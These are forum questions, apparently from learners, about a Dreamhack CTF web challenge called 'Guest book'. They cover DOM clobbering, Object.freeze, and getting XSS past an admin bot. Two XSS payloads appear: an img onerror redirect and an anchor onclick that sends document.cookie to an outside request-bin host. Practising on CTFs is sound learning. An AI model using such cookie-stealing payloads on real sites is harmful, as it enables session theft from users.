Guest book

문제 접근 config.js 에 Object.freeze(window.CONFIG); 설정으로 CONFIG.main 변경 하여 푸는 방식은 아니라고 판단. 소스 보기에서 id, name이 포함된 element가 없어 markdown포맷으로 a tag생성 시 id, name 추가 앞서 생성한 tag를 이용하여 Dom Clobbering 을 적용해 보려 하였으나, 이 방법이 아니라고 생각. a tag의 attribute를 통한 XSS 시도 중... 클릭 시 alert(document.domain), 외부 xss.html 은 모두 잘 동작 bot이 전달한 link를 click하지 않은 것으로 확인(외부 링크 클릭 여부로 확인), webdriver.get(report_url)로 접근만 한다고 가정 질문 문제의 의도를 파악하지 못하고 헤메고 있는 것 같습니다. *a tag에서 click 하지 않고 바로 실행되는 방법을 찾아야 하는 것인가요? *

오류가 발생하는 주소를 관리자가 확인할 수 있도록 하는 Report기능 오류가 발생하는 주소?, 관리자가 확인할수 있도록 하는 report기능? 이건 무슨 기능인지 아시는분 좀 알려주세요.

\<img src="/" onerror=location.href="https://woxfbuf.request.dreamhack.games";> 형식으로 내부적으로 구축해서 테스트하면 정상동작합니다. 다만, GuestBook 쪽에서 실행하면 안되네요.. 클릭하는 방식으로는 xss가 잘되는데.. 어떻게 접근해야할까요

a태그에 클릭 말고 그냥 태그를 읽자마자 바로 url로 redirect하거나 javascript를 실행하는 속성 혹시 있나요? 구글링 계속해도 못찾겠어서 질문드립니다.

GuestBook.php에서는 제대로 웹훅이 작동이 되면서 request가 잘 전달이 되는데 Report.php 를 통해 요청하게되면 아예 요청자체가 가지않습니다.. 혹시 Report.php에서는 필터링을 거쳐서 실행이 되는건가요?

접근 방법을 모르겠습니다. DOM Clobbering 방식인지? object.freeze도 우회하는 방법이 있나요? a태그를 이용해서 작성하게 되면 클릭했을 때 스크립트가 동작합니다. 어드민 봇에게 리포트를 통해 해당 스크립트를 전달하더라도, 클릭을 안하기 때문에 스크립트 동작이 안하네요.. 다른방법인가요? 살려주세요 머리 벗겨질 거 같아여~

저는 문제를 보고 Dom Clobbering을 이용하라는 말로 이해했습니다. 그래서 CONFIG의 하위 속성값을 변경하기 위한 특정 문자열을 생성했고 실행하였습니다. 하지만 속성값은 변경되지 않았고 확인결과 Object.freeze를 통해 CONFIG가 immutable이란걸 알아게되었습니다. CONFIG.main값을 바꿔 플래그를 알아내는 문제인줄 알았는데 문제를 오해한 것 같습니다. 올바른 방향을 알려주시면 감사하겠습니다. 버전 1입니다!! 2번째 버전이 있는줄 몰랐네요

제가 직접 테스트해볼때는 잘 이동됩니다만 Report에서 주소를 넘겨줄시 제대로 작동이 안됩니다. 봇은 따로 특별한 처리를 하기에 그런건가요?

관리자에게 링크 보내고, 관리자가 읽어서 웹 훅으로 넘어온거 봤는데요 쿠키헤더가 없는데 정상적인 건가요?

<a href="#" onclick="location.href='https://nezvnms.request.dreamhack.games/cookie='+document.cookie">xss</a> 이렇게 태그를 변경해서 글씨를 클릭하면 쿠키를 request bin으로 보내게 하였는데요. 직접 클릭해보니 쿠키가 잘 보내졌습니다. 근데 생각해보니까 HTML 태그를 변경하는건 어드민 봇이 할 땐 적용이 안되더라구요ㅋㅋㅋㅋ 거기다 어드민 봇이 글씨를 클릭할 일도 없구요ㅠㅠ 아예 길을 잘못 든것 같은데 자그마한 힌트 좀 주실 수 있을까요?